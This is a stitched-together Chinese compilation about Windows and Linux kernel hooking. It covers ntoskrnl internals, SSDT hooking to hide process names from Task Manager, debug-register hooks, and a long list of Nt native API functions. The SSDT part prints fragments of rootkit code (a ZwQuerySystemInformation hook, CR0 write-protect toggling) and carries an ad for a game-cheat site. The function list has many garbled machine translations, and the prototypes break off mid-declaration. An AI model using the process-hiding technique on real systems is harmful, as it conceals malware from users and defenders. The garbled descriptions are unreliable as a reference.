3. 设备驱动程序接口,ntoskrnl.exe中的内部函数提供了设
备驱动程序的接口,允许设备驱动程序与操作系统进行交互,包括
设备的初始化、数据传输和中断处理等功能。
4. 安全和权限管理,ntoskrnl.exe中的内部函数包括了安全
和权限管理的功能,用于验证用户的身份、控制对系统资源的访问
权限以及执行安全策略等功能。
总的来说,ntoskrnl.exe中的内部函数涵盖了操作系统的核心功能,包括内存管理、进程和线程管理、设备驱动程序接口以及安全和权限管理等方面。
这些内部函数的设计和实现对于操作系统的稳定性、性能和安全性都具有重要意义。
Hook 内核ntoskrnl ZwQuerySystemInformation隐藏任务管理器进程名
/////////////////定义 ntoskrnl.exe 的服务表结构//////////////////////////////////////////////// typedef struct _ServiceDescriptorEntry { unsigned int *ServiceTableBase;
typedef NTSTATUS (*ZWQUERYSYSTEMINFORMATION)( IN ULONG SystemInformationClass, IN PVOID SystemInformation, IN ULONG SystemInformationLength, OUT PULONG ReturnLength);
} _asm { mov eax,OldCr0 mov cr0,eax sti; }
KdPrint(("Hook ZwQuerySystemInformation'status is Succeessfully "));
内核 hook 函数
内核hook 函数
内核hook 函数是一种在Linux 内核中用于插入自定义代码的技术。
通过hook 函数,可以在内核的特定点或事件发生时执行自定义的代码逻辑。
内核hook 函数通常用于以下目的:
1. 扩展功能:通过hook 函数,可以在内核中添加新的功能或修改现有功能。
例如,可以在文件系统操作、网络协议处理或设备驱动程序中添加自定义逻辑。
2. 监控和调试:hook 函数可以用于监控内核事件或调试问题。
通过在关键点插入自定义的hook 函数,可以收集有关系统行为的额外信息,从而帮助开发人员诊断问题。
3. 事件处理:在某些情况下,内核需要响应用户空间的应用程序请求或其他系统事件。
通过hook 函数,可以在这些事件发生时执行特定的代码逻辑。
在Linux 内核中,常见的hook 机制包括:
1. 钩子函数(Hook Functions):这些是预定义的函数指针数组,可以在特定的事件发生时被调用。
开发者可以注册自己的钩子函数来拦截和处理这些事件。
2. 回调函数(Callback Functions):内核在特定情况下调用注册的回调函数,以便执行自定义逻辑。
3. 钩子结构(Hook Structures):这些是内核中定义的特定结构,可以用于存储与钩子相关的信息。
开发者可以通过修改这些结构中的字段来拦截和处理事件。
使用内核hook 函数需要深入了解Linux 内核的架构和机制,并且需要对C 语言和内核编程有较深的了解。
此外,由于内核编程涉及到系统稳定性和安全性,因此需要谨慎处理,避免对系统造成不良影响。
内核 hook 函数 -回复
内核hook 函数-回复内核hook 函数是操作系统内核中用于拦截系统调用、中断或异常的一种技术手段。
通过hook 函数,可以对特定的系统事件进行监听和处理,从而实现对系统行为的控制和修改。
本文将从基本概念、应用场景和实现原理三个方面详细介绍内核hook 函数。
一、基本概念内核hook 函数指的是在操作系统内核中注册的、由用户自定义的函数。
这些函数被用于拦截和处理特定的系统事件,比如系统调用、中断或异常。
当系统事件发生时,内核会调用相应的hook 函数,而不是直接处理系统事件。
二、应用场景1. 系统安全内核hook 函数可用于实现系统安全功能,比如权限控制和防御措施。
通过在关键的系统调用前后设置hook 函数,可以监控和控制用户进程的行为,防止恶意代码的执行。
2. 性能分析内核hook 函数也能用于性能分析和优化。
可以通过拦截系统调用,统计各个系统调用的调用频率和执行时间,找出性能瓶颈,进行性能调优。
3. 系统扩展通过hook 函数,用户可以在系统调用和中断处理过程中插入自定义代码,从而对系统行为进行扩展和修改。
三、实现原理内核hook 函数的实现原理相对复杂,具体步骤如下:1. 选择合适的hook 点要实现内核hook 函数,首先需要选择合适的hook 点。
一般来说,可以选择系统调用、中断或异常作为hook 点。
不同的hook 点有不同的注册和处理方式。
2. 注册hook 函数在选择了合适的hook 点后,需要将用户定义的hook 函数注册到内核中。
注册hook 函数通常涉及到修改内核代码或数据结构,需要对内核有一定的了解和理解。
3. 安装hook 函数注册hook 函数后,需要将其安装到内核中,使其生效。
这一步通常涉及到复制函数指针、修改中断向量表或修改系统调用表等操作。
4. 拦截系统事件一旦hook 函数安装完毕,内核就会在特定的系统事件发生时调用该函数。
这时,用户定义的hook 函数将被执行,可以在其中进行相关操作。
NT内核级进程隐藏2-Hook SSDT及EPROCESS(1)
NT内核级进程隐藏2-Hook SSDT及EPROCESS(1)学习各种外挂制作技术,马上去百度搜索"魔鬼作坊"点击第一个站进入、快速成为做挂达人。
通过Hook SSDT(System Service Dispath Table)隐藏进程1.原理介绍:Windows操作系统是一种分层的架构体系。
应用层的程序是通过API来访问操作系统。
而API又是通过ntdll里面的核心API来进行系统服务的查询。
核心API通过对int2e的切换,从用户模式转换到内核模式。
2Eh中断的功能是通过NTOSKRNL.EXE的一个函数KiSystemService()来实现的。
在你使用了一个系统调用时,必须首先装载要调用的函数索引号到EAX寄存器中。
把指向参数区的指针被保存在EDX寄存器中。
中断调用后,EAX寄存器保存了返回的结果。
KiSystemService()是根据EAX的值来决定哪个函数将被调用。
而系统在SSDT中维持了一个数组,专门用来索引特定的函数服务地址。
在Windows2000中有一个未公开的由ntoskrnl.exe导出的KeServiceDescriptorTable变量,我们可以通过它来完成对SSDT的访问与修改。
KeServiceDescriptorTable对应于一个数据结构,定义如下:typedef struct SystemServiceDescriptorTable{UINT*ServiceTableBase;UINT*ServiceCounterTableBase;UINT NumberOfService;UCHAR*ParameterTableBase;}SystemServiceDescriptorTable,*PSystemServiceDescriptorTable;其中ServiceTableBase指向系统服务程序的地址(SSDT),ParameterTableBase则指向SSPT 中的参数地址,它们都包含了NumberOfService这么多个数组单元。
简析利用调试寄存器实现内核函数的HOOK
简析利用调试寄存器实现内核函数的HOOK 利用调试寄存器实现内核函数的HOOK是一种常见的技术,可以用于在内核层面对系统函数进行监控和修改。
在这种方法中,通过修改调试寄存器,将相关的函数呼叫地址设置为自定义的钩子函数地址,从而实现对函数的拦截和修改。
下面简要分析利用调试寄存器实现内核函数的HOOK的原理和实现。
一、原理调试寄存器是处理器提供的一组特殊寄存器,用于调试和监控程序的执行。
在常见的x86架构中,有四个调试寄存器(DR0~DR3),用于设置断点和监控特定地址。
调试寄存器能够监控指定地址读或写操作的产生,当操作发生时,会触发异常,并将控制权传递给调试异常处理程序。
利用调试寄存器实现内核函数的HOOK的原理如下:1.将要HOOK的目标函数的地址写入调试寄存器(如DR0);2.当目标函数被调用时,发生指令读取或写入操作,触发调试异常;3.调试异常处理程序将被调试函数的控制权传递给钩子函数;4.钩子函数执行自定义的代码逻辑,可以对参数进行修改、记录日志、添加额外的处理等;5.钩子函数执行完毕后,回到原函数的调用点,继续执行。
二、实现步骤利用调试寄存器实现内核函数的HOOK需要进行以下步骤:1.获取或定位目标函数的地址,对应于HOOK时的断点地址;2.将目标函数的地址写入调试寄存器(例如,将要监控的函数地址写入DR0);3.设置处理调试异常的异常处理程序,指向钩子函数;4.在钩子函数中实现自定义的逻辑处理;5.在适当的时机将调试寄存器清空。
三、优缺点利用调试寄存器实现内核函数的HOOK有以下优点:1.不需要修改目标函数的代码,降低了对原有代码的侵入性;2.可以动态地拦截和修改目标函数的调用,可以方便地实现追踪和监控;3.可以在调用前或调用后对参数进行修改、记录和统计;4.可以在钩子函数中添加额外的处理逻辑,实现自定义功能。
但同样也有一些缺点:1.使用调试寄存器进行HOOK需要一定的汇编和底层编程知识,相对复杂;2.HOOK实现对目标函数的调用会引入额外的性能开销,可能影响系统性能;3.如果目标函数的地址是动态计算的,HOOK时需要保证正确的地址计算和更新;4.如果目标函数的实现发生变化,HOOK可能会失效,需要根据实际情况进行维护和更新。
windowsNt内核函数大全(最新整理)
Nt内核函数大全NtLoadDriver 服务控制管理器加载设备驱动.NtUnloadDriver 服务控制管理器支持卸载指定的驱动程序. NtRegisterNewDevice 加载新驱动文件.NtQueryIntervalProfile 返回数据.NtSetIntervalProfile 指定采样间隔.NtStartProfile 开始取样.NtStopProfile 停止采样.NtSystemDebugControl 实施了一系列的调试器支持的命令. NtRegisterThreadTerminatePort 一个调试登记通知线程终止. NtCreateDebugObject 创建一个调试对象.NtDebugActiveProcess 使调试器附加到一个积极的过程和调试它. NtDebugContinue 允许一个进程,以线程产生了调试事件. NtQueryDebugFilterState 查询调试过滤国家一级的具体组成部分. NtRemoveProcessDebug 停止调试指定的进程.NtSetDebugFilterState 设置调试输出滤波器一级指定的组成部分. NtSetInformationDebugObject 设置属性的调试对象. NtWaitForDebugEvent 等待调试事件的进程正在调试. NtFlushInstructionCache 清空指定进程的指令缓冲区. NtInitiatePowerAction 启动电源事件.NtPowerInformation 获得该系统的电源状态. NtSetThreadExecutionState 设置一个线程的系统电源状态的要求. NtRequestWakeupLatency 设置一个进程唤醒延迟.NtClose 关闭处理任何对象类型.NtDuplicateObject 复制句柄的对象.NtCreateDirectoryObject 创建一个目录中的对象管理器命名空间. NtCreateSymbolicLinkObject 创建一个符号链接的对象管理器命名空间. NtOpenDirectoryObject 打开对象管理器名字空间目录. NtQueryDirectoryObject 用列举的对象位于一个目录对象. NtOpenSymbolicLinkObject 打开一个符号链接对象. NtQuerySymbolicLinkObject 归来的名称,对象,符号链接点.NtQueryObject 查询对象的属性,如它的名字.NtSetInformationObject 树立了一个对象的属性.NtTranslateFilePath 转换的文件路径的格式.NtCreateKey 创建或打开一个注册表项.NtOpenKey 打开一个现有的注册表项.NtDeleteKey 删除注册表项.NtDeleteValueKey 删除价值.NtEnumerateKey 枚举子项中的一个关键.NtEnumerateValueKey 列举了价值的一个关键.NtFlushKey 刷新变化回到注册表在磁盘上.NtInitializeRegistry 获取注册滚动.单参数对这一规定是否安装启动或正常开机. NtNotifyChangeKey 允许一个程序的通知改变某一关键或其子项. NtQueryKey 查询信息的一个关键.NtQueryMultiplValueKey 检索信息多个指定值.NtQueryValueKey 资讯检索指定的值.NtReplaceKey 变化的支持文件的一个关键和其子项,用于备份/恢复. NtSaveKey 保存的内容中的一个关键和子项文件.NtRestoreKey 装载的内容主要从一个指定的文件. NtSetInformationKey 集属性中的一个关键.NtSetValueKey 集相关的数据的价值.NtCreatePort 创建一个港口对象.NtAcceptConnectPort 接受一个端口连接.NtCompleteConnectPort 完成了连接.NtConnectPort 连接一个端口到另一个端口,接受连接. NtImpersonateClientOfPort 线程模拟确定的进程的另一端的一个港口. NtListenPort 侦听端口的连接请求.NtQueryInformationPort 获取信息的一个港口.NtReadRequestData 阅读相关资料港口信息.NtReplyPort 发送一个回复邮件.NtReplyWaitReceivePort 发送一个回复邮件,然后等待传入请求消息. NtReplyWaitReplyPort 发送一个回复邮件,然后等待传入的回复邮件. NtRequestPort 发送请求信息.NtRequestWaitReplyPort 发送请求信息,并等待传入的回复邮件. NtWriteRequestData 填写数据的请求消息.NtSecureConnectPort 创建一个安全的连接端口. NtQueryPortInformationProcess 用于确定某个进程有相关的例外或调试端口. NtAccessCheck 检查当前线程是否已进入一个对象根据其安全描述符. NtAccessCheckAndAuditAlarm 生成相关的审计信息存取检查. NtAdjustGroupsToken 加注或删除群体与象征. NtAdjustPrivilegesToken 启用或禁用特权与象征. NtCloseObjectAuditAlarm 生成审计讯息,指出一个对象被关闭了. NtCreateToken 创建令牌对象.NtDeleteObjectAuditAlarm 产生了审计事件表明,一个对象已删除. NtDuplicateToken 重复象征对象.NtImpersonateThread 允许一个线程假冒身份的其他用户. NtOpenObjectAuditAlarm 产生了审计事件表明,一个物体开幕. NtOpenProcessToken 获得句柄令牌在指定的进程. NtOpenThreadToken 打开的句柄令牌在指定线程.NtPrivilegeCheck 检查,以查看是否有人员令牌已指定特权启用. NtPrivilegeObjectAuditAlarm 生成审核事件记录与特权检查. NtPrivilegedServiceAuditAlarm 生成审计信息表明尝试使用指定的特权. NtQueryInformationToken 获取信息的象征.NtQuerySecurityObject 检索信息的对象的安全设置. NtSetInformationToken 树立了一个象征性的属性.NtSetSecurityObject 设置安全信息的一个对象. NtAccessCheckByType 新的物件具体的安全支持. NtAccessCheckByTypeAndAuditAlarm 新的物件具体的安全支持.NtAccessCheckByTypeResultList 新的物件具体的安全支持. NtFilterToken 新的物件具体的安全支持. NtCompareToken 比较了两个令牌. NtOpenProcessTokenEx 打开一个进程令牌. NtOpenThreadTokenEx 打开一个线程令牌. NtAlertResumeThread 恢复线程.NtAlertThread 发出警报,以一个线程.NtTestAlert 检验是否有线程在等待警报. NtCreateProcess 创建一个新的进程.NtCreateThread 创建一个新线程.NtCurrentTeb 返回一个指针,一个线程环境块. NtDelayExecution 睡眠,暂停一个线程在指定的时间. NtGetContextThread 检索硬件方面的线程. NtSetContextThread 集硬件方面的线程. NtOpenProcess 打开的句柄指定的进程.NtOpenThread 打开的句柄指定的线程. NtQueryInformationProcess 获取一个线程的属性. NtQueueApcThread 程序呼叫到一个线程. NtResumeThread 唤醒暂停线程. NtSetInformationProcess 设置一个进程的属性. NtSetInformationThread 设置一个线程的属性. NtSuspendThread 暂停一个线程的执行. NtTerminateProcess 删除进程.NtTerminateThread 删除线程.NtYieldExecution 原因线程放弃CPU. NtCreateProcessEx 创建一个新的进程. NtResumeProcess 恢复被暂停的进程. NtSuspendProcess 暂停一个进程.NtCancelTimer 取消计时器.NtCreateTimer 创建一个计时器.NtOpenTimer 打开一个计时器对象.NtQueryTimer 查询计时器的属性. NtQueryTimerResolution 查询系统的计时器决议. NtSetTimer 设置一个定时器到期活动. NtSetTimerResolution 设定系统计时器决议. NtQueryPerformanceCounter 查询系统的性能计数器. NtQuerySystemTime 取得当前时间.NtSetSystemTime 设置系统时间.NtGetTickCount 获取系统开机以来时间. NtCreateEvent 创建一个事件对象.NtOpenEvent 打开事件对象.NtClearEvent 清除标志着国家的事件.NtPulseEvent 信号的事件,然后重置它.NtQueryEvent 查询状况的一个事件.NtResetEvent 重置事件向非标志着国家.NtSetEvent 树立了一个活动,标志着国家.NtCreateEventPair 创建一个事件一双.NtOpenEventPair 打开一个事件对.NtSetHighEventPair 集高一半的活动,以表明对国家.NtSetHighWaitLowEventPair 集高一半的活动,以表明对国家和等待低一半,成为示意. NtSetLowEventPair 集低一半的事件对.NtSetLowWaitHighEventPair 集低一半的事件,并等待对高一半将成为标志. NtWaitHighEventPair 等待高一半事件对成为暗示.NtWaitLowEventPair 等待低一半事件对成为暗示.NtCreateMutant 创建一个突变的对象,称为互斥在用户模式.NtOpenMutant 打开一个突变对象,称为互斥用户模式.NtCreateSemaphore 创建一个信号灯对象.NtOpenSemaphore 打开一个信号灯对象.NtQuerySemaphore 查询状态的信号.NtReleaseSemaphore 标志着信号灯.NtSignalAndWaitForSingleObject 等待它标志着一次.NtWaitForMultipleObjects 等待多个对象,成为暗示.NtWaitForSingleObject 等待一个单一的对象,成为暗示.NtCreateKeyedEvent 创建一个输入事件对象.NtOpenKeyedEvent 打开一个名为键控事件对象.NtReleaseKeyedEvent 标志着键控事件对象.NtWaitForKeyedEvent 等待事件成为键控信号.NtAllocateVirtualMemory 分配虚拟内存.NtFreeVirtualMemory 释放虚拟内存.NtQueryVirtualMemory 查询范围的虚拟内存的属性.NtProtectVirtualMemory 集保护的一系列虚拟内存.NtLockVirtualMemory 锁一系列的虚拟内存.NtUnlockVirtualMemory 解锁一系列的虚拟内存.NtReadVirtualMemory 读取范围内的虚拟内存从进程.NtWriteVirtualMemory 写了一系列的虚拟内存从进程.NtFlushVirtualMemory 刷新记忆体映射的记忆体范围的文件在磁盘上.NtCreateSection 创建了一系列的内存支持文件.NtOpenSection 打开一个名为内存映射节对象.NtExtendSection 延长现有的各种虚拟内存支持文件.NtMapViewOfSection 地图一个文件中的虚拟内存.NtUnmapViewOfSection 一部分虚拟内存的支持文件.NtAreMappedFilesTheSame 装载机使用这一有效看看是否一个给定的文件已经被映射到内存中. NtCancelIoFile 取消I/O请求.NtCreateFile 创建或打开一个文件,目录或设备对象.NtCreateIoCompletion 告诉I/O管理器,一个线程希望时得到通知的I/O完成. NtOpenIoCompletion 打开一个名为I/O完成对象.NtSetIoCompletion 树立了一个I/O完成对象的属性.NtQueryIoCompletion 具体信息检索的I/O完成对象.NtRemoveIoCompletion 消除了一个I/O完成回调.NtDeleteFile 删除一个文件对象.NtDeviceIoControlFile 发送IOCTL装置的设备驱动,这是一个打开的文件对象. NtFlushBuffersFile 清除内存中的文件数据到磁盘.NtFsControlFile 发送一个I/O控制IOCTL为代表的公开设备对象.通常用于文件系统有关的特别命令. NtLockFile 锁了一系列文件的同步访问.NtUnlockFile 解锁了一系列文件的同步访问.NtNotifyChangeDirectoryFile 寄存器一个线程希望得到通知时,一个目录的内容发生变化. NtOpenFile 打开一个现有的文件.NtQueryAttributesFile 取得一个文件的属性.NtQueryDirectoryFile 检索目录的内容.NtQueryEaFile 检索文件的扩展属性.NtSetEaFile 集的扩展属性文件.NtQueryFullAttributesFile 获得文件的全部属性.NtQueryInformationFile 检索方面的具体资料的档案.NtSetInformationFile 确定具体的资料档案.NtQueryVolumeInformationFile 检索有关特定磁盘卷.NtSetVolumeInformationFile 集资讯量.NtReadFile 读取数据文件.NtWriteFile 写入数据文件.NtQueryQuotaInformationFile 查询NTFS磁盘配额信息.NtSetQuotaInformationFile 设置NTFS磁盘配额信息.NtQuerySystemInformation 性能计数器注册表中的出口的大量信息可通过这一呼吁. NtSetSystemInformation 各种行政程序使用此功能.NtShutdownSystem 关闭与选择重新启动.NtCreateJobObject 创建一个作业对象.NtOpenJobObject 打开一个作业对象.NtQueryInformationJobObject 撷取资讯作业对象.NtAssignProcessToJobObject 指定一个进程作业对象.NtSetInformationJobObject 树立了一个作业对象的属性.NtTerminateJobObject 终止作业对象,终止其所有相关的进程.NtCreateJobSet 创建了一个集多种就业工作的对象.NTSYSAPINTSTATUSNTAPINtAcceptConnectPort(OUT PHANDLE PortHandle,IN PVOID PortIdentifier,IN PPORT_MESSAGE Message,IN BOOLEAN Accept,IN OUT PPORT_VIEW ServerView OPTIONAL,OUT PREMOTE_PORT_VIEW ClientView OPTIONAL);NTSYSAPINTSTATUSNTAPINtAccessCheck(IN PSECURITY_DESCRIPTOR SecurityDescriptor, IN HANDLE TokenHandle,IN ACCESS_MASK DesiredAccess,IN PGENERIC_MAPPING GenericMapping,OUT PPRIVILEGE_SET PrivilegeSet,IN PULONG PrivilegeSetLength,OUT PACCESS_MASK GrantedAccess,OUT PBOOLEAN AccessStatus);NTSYSAPINTSTATUSNTAPINtAccessCheckAndAuditAlarm(IN PUNICODE_STRING SubsystemName,IN PVOID HandleId,IN PUNICODE_STRING ObjectTypeName,IN PUNICODE_STRING ObjectName,IN PSECURITY_DESCRIPTOR SecurityDescriptor, IN ACCESS_MASK DesiredAccess,IN PGENERIC_MAPPING GenericMapping,IN BOOLEAN ObjectCreation,OUT PACCESS_MASK GrantedAccess,OUT PBOOLEAN AccessStatus,OUT PBOOLEAN GenerateOnClose);NTSYSAPINTSTATUSNTAPINtAccessCheckByType(IN PSECURITY_DESCRIPTOR SecurityDescriptor, IN PSID PrincipalSelfSid,IN HANDLE TokenHandle,IN ULONG DesiredAccess,IN POBJECT_TYPE_LIST ObjectTypeList,IN ULONG ObjectTypeListLength,IN PGENERIC_MAPPING GenericMapping,IN PPRIVILEGE_SET PrivilegeSet,IN PULONG PrivilegeSetLength,OUT PACCESS_MASK GrantedAccess,OUT PULONG AccessStatus);NTSYSAPINTSTATUSNTAPI NtAccessCheckByTypeAndAuditAlarm(IN PUNICODE_STRING SubsystemName,IN PVOID HandleId,IN PUNICODE_STRING ObjectTypeName,IN PUNICODE_STRING ObjectName,IN PSECURITY_DESCRIPTOR SecurityDescriptor, IN PSID PrincipalSelfSid,IN ACCESS_MASK DesiredAccess,IN AUDIT_EVENT_TYPE AuditType,IN ULONG Flags,IN POBJECT_TYPE_LIST ObjectTypeList,IN ULONG ObjectTypeListLength,IN PGENERIC_MAPPING GenericMapping,IN BOOLEAN ObjectCreation,OUT PACCESS_MASK GrantedAccess,OUT PULONG AccessStatus,OUT PBOOLEAN GenerateOnClose);NTSYSAPINTSTATUSNTAPINtAccessCheckByTypeResultList(IN PSECURITY_DESCRIPTOR SecurityDescriptor, IN PSID PrincipalSelfSid,IN HANDLE TokenHandle,IN ACCESS_MASK DesiredAccess,IN POBJECT_TYPE_LIST ObjectTypeList,IN ULONG ObjectTypeListLength,IN PGENERIC_MAPPING GenericMapping,IN PPRIVILEGE_SET PrivilegeSet,IN PULONG PrivilegeSetLength,OUT PACCESS_MASK GrantedAccessList,OUT PULONG AccessStatusList);NTSYSAPINTSTATUSNTAPI NtAccessCheckByTypeResultListAndAuditAlarm( IN PUNICODE_STRING SubsystemName,IN PVOID HandleId,IN PUNICODE_STRING ObjectTypeName,IN PUNICODE_STRING ObjectName,IN PSECURITY_DESCRIPTOR SecurityDescriptor,IN PSID PrincipalSelfSid,IN ACCESS_MASK DesiredAccess,IN AUDIT_EVENT_TYPE AuditType,IN ULONG Flags,IN POBJECT_TYPE_LIST ObjectTypeList,IN ULONG ObjectTypeListLength,IN PGENERIC_MAPPING GenericMapping,IN BOOLEAN ObjectCreation,OUT PACCESS_MASK GrantedAccessList,OUT PULONG AccessStatusList,OUT PULONG GenerateOnClose);NTSYSAPINTSTATUSNTAPI NtAccessCheckByTypeResultListAndAuditAlarmByHandle( IN PUNICODE_STRING SubsystemName,IN PVOID HandleId,IN HANDLE TokenHandle,IN PUNICODE_STRING ObjectTypeName,IN PUNICODE_STRING ObjectName,IN PSECURITY_DESCRIPTOR SecurityDescriptor,IN PSID PrincipalSelfSid,IN ACCESS_MASK DesiredAccess,IN AUDIT_EVENT_TYPE AuditType,IN ULONG Flags,IN POBJECT_TYPE_LIST ObjectTypeList,IN ULONG ObjectTypeListLength,IN PGENERIC_MAPPING GenericMapping,IN BOOLEAN ObjectCreation,OUT PACCESS_MASK GrantedAccessList,OUT PULONG AccessStatusList,OUT PULONG GenerateOnClose);NTSYSAPINTSTATUSNTAPINtAddAtom(IN PWSTR String,IN ULONG StringLength,OUT PUSHORT Atom);NTSYSAPINTSTATUSNTAPINtAddBootEntry(IN PUNICODE_STRING EntryName,IN PUNICODE_STRING EntryValue);NTSYSAPINTSTATUSNTAPINtAddDriverEntry(IN PUNICODE_STRING DriverName,IN PUNICODE_STRING DriverPath);NTSYSAPINTSTATUSNTAPINtAdjustGroupsToken(IN HANDLE TokenHandle,IN BOOLEAN ResetToDefault,IN PTOKEN_GROUPS NewState,IN ULONG BufferLength,OUT PTOKEN_GROUPS PreviousState OPTIONAL,OUT PULONG ReturnLength);NTSYSAPINTSTATUSNTAPINtAdjustPrivilegesToken(IN HANDLE TokenHandle,IN BOOLEAN DisableAllPrivileges,IN PTOKEN_PRIVILEGES NewState,IN ULONG BufferLength,OUT PTOKEN_PRIVILEGES PreviousState OPTIONAL, OUT PULONG ReturnLength OPTIONAL);NTSYSAPINTSTATUSNTAPINtAlertResumeThread(IN HANDLE ThreadHandle,OUT PULONG PreviousSuspendCount OPTIONAL );NTSYSAPINTSTATUSNTAPINtAllocateLocallyUniqueId(OUT PLUID Luid);NTSYSAPINTSTATUSNTAPINtAllocateUserPhysicalPages(IN HANDLE ProcessHandle,IN PULONG NumberOfPages,OUT PULONG PageFrameNumbers);NTSYSAPINTSTATUSNTAPINtAllocateUuids(OUT PLARGE_INTEGER UuidLastTimeAllocated,OUT PULONG UuidDeltaTime,OUT PULONG UuidSequenceNumber,OUT PUCHAR UuidSeed);NTSYSAPINTSTATUSNTAPINtAllocateVirtualMemory(IN HANDLE ProcessHandle,IN OUT PVOID *BaseAddress,IN ULONG ZeroBits,IN OUT PULONG AllocationSize,IN ULONG AllocationType,IN ULONG Protect);NTSYSAPINTSTATUSNTAPINtApphelpCacheControl(IN APPHELPCACHECONTROL ApphelpCacheControl, IN PUNICODE_STRING ApphelpCacheObject);NTSYSAPINTSTATUSNTAPINtAreMappedFilesTheSame(IN PVOID Address1,IN PVOID Address2);NTSYSAPINTSTATUSNTAPI NtAssignProcessToJobObject(IN HANDLE JobHandle,IN HANDLE ProcessHandle);NTSYSAPINTSTATUSNTAPINtCallbackReturn(IN PVOID Result OPTIONAL,IN ULONG ResultLength,IN NTSTATUS Status);NTSYSAPINTSTATUSNTAPI NtCancelDeviceWakeupRequest(IN HANDLE DeviceHandle);NTSYSAPINTSTATUSNTAPINtCancelIoFile(IN HANDLE FileHandle,OUT PIO_STATUS_BLOCK IoStatusBlock );NTSYSAPINTSTATUSNTAPINtCancelTimer(IN HANDLE TimerHandle,OUT PBOOLEAN PreviousState OPTIONAL );NTSYSAPINTSTATUSNTAPINtClearEvent(IN HANDLE EventHandle);NTSYSAPINTSTATUSNTAPINtClose(IN HANDLE Handle);NTSYSAPINTSTATUSNTAPINtCloseObjectAuditAlarm(IN PUNICODE_STRING SubsystemName, IN PVOID HandleId,IN BOOLEAN GenerateOnClose);NTSYSAPINTSTATUSNTAPINtCompactKeys(IN ULONG Length,IN HANDLE Key);NTSYSAPINTSTATUSNTAPINtCompareTokens(IN HANDLE FirstTokenHandle,IN HANDLE SecondTokenHandle,OUT PBOOLEAN IdenticalTokens );NTSYSAPINTSTATUSNTAPINtCompleteConnectPort(IN HANDLE PortHandle);NTSYSAPINTSTATUSNTAPINtCompressKey(IN HANDLE Key);NTSYSAPINTSTATUSNTAPINtConnectPort(OUT PHANDLE PortHandle,IN PUNICODE_STRING PortName,IN PSECURITY_QUALITY_OF_SERVICE SecurityQos, IN OUT PPORT_VIEW ClientView OPTIONAL,OUT PREMOTE_PORT_VIEW ServerView OPTIONAL, OUT PULONG MaxMessageLength OPTIONAL,IN OUT PVOID ConnectInformation OPTIONAL,IN OUT PULONG ConnectInformationLength OPTIONAL );NTSYSAPINTSTATUSNTAPINtContinue(IN PCONTEXT Context,IN BOOLEAN TestAlert);NTSYSAPINTSTATUSNTAPINtCreateDebugObject(OUT PHANDLE DebugObject,IN ULONG AccessRequired,IN POBJECT_ATTRIBUTES ObjectAttributes,IN BOOLEAN KillProcessOnExit);NTSYSAPINTSTATUSNTAPINtCreateDirectoryObject(OUT PHANDLE DirectoryHandle,IN ACCESS_MASK DesiredAccess,IN POBJECT_ATTRIBUTES ObjectAttributes);NTSYSAPINTSTATUSNTAPINtCreateEvent(OUT PHANDLE EventHandle,IN ACCESS_MASK DesiredAccess,IN POBJECT_ATTRIBUTES ObjectAttributes,IN EVENT_TYPE EventType,IN BOOLEAN InitialState);NTSYSAPINTSTATUSNTAPINtCreateEventPair(OUT PHANDLE EventPairHandle,IN ACCESS_MASK DesiredAccess,IN POBJECT_ATTRIBUTES ObjectAttributes );NTSYSAPINTSTATUSNTAPINtCreateFile(OUT PHANDLE FileHandle,IN ACCESS_MASK DesiredAccess,IN POBJECT_ATTRIBUTES ObjectAttributes,OUT PIO_STATUS_BLOCK IoStatusBlock,IN PLARGE_INTEGER AllocationSize OPTIONAL, IN ULONG FileAttributes,IN ULONG ShareAccess,IN ULONG CreateDisposition,IN ULONG CreateOptions,IN PVOID EaBuffer OPTIONAL,IN ULONG EaLength);NTSYSAPINTSTATUSNTAPINtCreateIoCompletion(OUT PHANDLE IoCompletionHandle,IN ACCESS_MASK DesiredAccess,IN POBJECT_ATTRIBUTES ObjectAttributes,IN ULONG NumberOfConcurrentThreads);NTSYSAPINTSTATUSNTAPINtCreateJobObject(OUT PHANDLE JobHandle,IN ACCESS_MASK DesiredAccess,IN POBJECT_ATTRIBUTES ObjectAttributes );NTSYSAPINTSTATUSNTAPINtCreateJobSet(IN ULONG Jobs,IN PJOB_SET_ARRAY JobSet,IN ULONG Reserved);NTSYSAPINTSTATUSNTAPINtCreateKey(OUT PHANDLE KeyHandle,IN ACCESS_MASK DesiredAccess,IN POBJECT_ATTRIBUTES ObjectAttributes,IN ULONG TitleIndex,IN PUNICODE_STRING Class OPTIONAL,IN ULONG CreateOptions,OUT PULONG Disposition OPTIONAL);NTSYSAPINTSTATUSNTAPINtCreateKeyedEvent(OUT PHANDLE KeyedEventHandle,IN ACCESS_MASK DesiredAccess,IN POBJECT_ATTRIBUTES ObjectAttributes,IN ULONG Reserved);NTSYSAPINTSTATUSNTAPINtCreateMailslotFile(OUT PHANDLE FileHandle,IN ACCESS_MASK DesiredAccess,IN POBJECT_ATTRIBUTES ObjectAttributes,OUT PIO_STATUS_BLOCK IoStatusBlock,IN ULONG CreateOptions,IN ULONG InBufferSize,IN ULONG MaxMessageSize,IN PLARGE_INTEGER ReadTimeout OPTIONAL );NTSYSAPINTSTATUSNTAPINtCreateMutant(OUT PHANDLE MutantHandle,IN ACCESS_MASK DesiredAccess,IN POBJECT_ATTRIBUTES ObjectAttributes,IN BOOLEAN InitialOwner);NTSYSAPINTSTATUSNTAPINtCreateNamedPipeFile(OUT PHANDLE FileHandle,IN ACCESS_MASK DesiredAccess,IN POBJECT_ATTRIBUTES ObjectAttributes,OUT PIO_STATUS_BLOCK IoStatusBlock,IN ULONG ShareAccess,IN ULONG CreateDisposition,IN ULONG CreateOptions,IN BOOLEAN TypeMessage,IN BOOLEAN ReadmodeMessage,IN BOOLEAN Nonblocking,IN ULONG MaxInstances,IN ULONG InBufferSize,IN ULONG OutBufferSize,IN PLARGE_INTEGER DefaultTimeout OPTIONAL );NTSYSAPINTSTATUSNTAPINtCreatePagingFile(IN PUNICODE_STRING FileName,IN PULARGE_INTEGER InitialSize,IN PULARGE_INTEGER MaximumSize,IN ULONG Priority OPTIONAL);NTSYSAPINTSTATUSNTAPINtCreatePort(OUT PHANDLE PortHandle,IN POBJECT_ATTRIBUTES ObjectAttributes,IN ULONG MaxConnectionInfoLength,IN ULONG MaxMessageLength,IN ULONG MaxPoolUsage);NTSYSAPINTSTATUSNTAPINtCreateProcess(OUT PHANDLE ProcessHandle,IN ACCESS_MASK DesiredAccess,IN POBJECT_ATTRIBUTES ObjectAttributes, IN HANDLE InheritFromProcessHandle,IN BOOLEAN InheritHandles,IN HANDLE SectionHandle OPTIONAL,IN HANDLE DebugPort OPTIONAL,IN HANDLE ExceptionPort OPTIONAL );NTSYSAPINTSTATUSNTAPINtCreateProcessEx(OUT 